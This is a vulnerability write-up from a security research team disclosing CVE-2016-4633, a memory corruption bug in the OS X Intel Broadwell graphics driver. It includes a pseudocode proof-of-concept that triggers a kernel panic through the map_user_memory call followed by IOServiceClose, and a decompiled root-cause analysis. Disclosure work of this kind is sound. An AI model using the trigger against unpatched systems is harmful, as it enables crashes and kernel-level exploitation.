If you follow our recent work, you may have see that we did several talks about Apple Graphics, like at Cansecwest 16, RECON 16, and we will also talk at Black Hat USA 2016.

The Apple Graphics stack was also used at Pwn2Own 2016 by our team to compromise OS X twice, by escaping the sandbox in 2 different pwns thanks to 2 different bugs both related to Graphics. You can check out more details at BH US 16.

This blog post talks about another disclosed bug originated from that auditing/fuzzing effort.

This bug affects all recent models of OS X machines running a Broadwell CPU, to check the bug you need to reverse the AppleIntelBDWGraphics kext on 10.11.5 or older.

This bug, like all our other Graphics related bugs is reachable by the Safari or Chrome Sandbox.

Advisory

Intel Graphics Driver
Available for: OS X El Capitan v10.11 and later
Impact: A malicious application may be able to execute arbitrary code with kernel privileges
Description: Multiple memory corruption issues were addressed through improved memory handling.
CVE-2016-4633 : Marco Grassi (@marcograss) of KeenLab (@keen_lab), Tencent

Pseudocode Trigger PoC:

Sorry if the PoC is just pseudocode but I lost the PoC file and I’m too lazy to panic my machine now to test. So going by memory for this basic writeup I hope it will do just fine.

void *addr = vmAllocateAPageOfMemorySomewhere();
mach_port_t my_port = getAPortForIGCLContextOrGLContext();

uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;

char inputStruct[4096];
size_t inputStructCnt = 16;

uint64_t outputStruct[4096];
size_t outputStructCnt = 16;

uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;

*(unsigned long *)(inputStruct) = addr;



*(unsigned long *)(inputStruct + 8 ) = 0x1000;
*(unsigned long *)(inputStruct) = addr;
outputScalarCnt = 0;
inputStructCnt = 16;
outputStructCnt = 16;
inputScalarCnt = 0;
mach_err = IOConnectCallMethod(
                               my_port,
                               0x100, // map_user_memory
                               inputScalar,
                               inputScalarCnt,
                               inputStruct,
                               inputStructCnt,
                               outputScalar,
                               &outputScalarCnt,
                               outputStruct,
                               &outputStructCnt);

IOServiceClose(my_port); // the kernel will panic after this

What’s going on

So what’s going on here?

This is from IGAccelCLContext::contextStop() which will be called when we do IOServiceClose().

IGHashTable<unsigned long long,IGAccelMemoryMap *,IGHashTraits<unsigned long long>,IGIOMallocAllocatorPolicy>::Iterator::next(&v9);
  v3 = **((_QWORD **)v1 + 510);
  while ( v9 != v3 || v10 )
  {
    v8 = *v10;
    v4 = (_QWORD *)IGHashTable<unsigned long long,IGAccelMemoryMap *,IGHashTraits<unsigned long long>,IGIOMallocAllocatorPolicy>::get(
                     (char *)v1 + 4072,
                     &v8);
    v5 = (_QWORD **)*v4;
    (*(void (__fastcall **)(_QWORD))(*(_QWORD *)*v4 + 320LL))(*v4);
    (*(void (**)(void))(*v5[3] + 40LL))();
    ((void (__fastcall *)(_QWORD **))(*v5)[5])(v5);
    IGHashTable<unsigned long long,IGAccelMemoryMap *,IGHashTraits<unsigned long long>,IGIOMallocAllocatorPolicy>::remove(
      (char *)v1 + 4072,
      &v8);
    IGHashTable<unsigned long long,IGAccelMemoryMap *,IGHashTraits<unsigned long long>,IGIOMallocAllocatorPolicy>::Iterator::next(&v9);
  }

You may not notice the subtle problem here (in fact this issue was triggered while coding another PoC, not by code auditing!).

Basically the developers of this driver never accounted for this method to be called when there is still 1 or more elements of mapped memory (caused by us with map_user_memory IOKitCall). They only tested with an even number of map_user_memory/unmap_user_memory calls, so if we enter this while loop with still 1 or more memory mappings in this UserClient, this while loop by calling get,remove, next will cause memory corruption.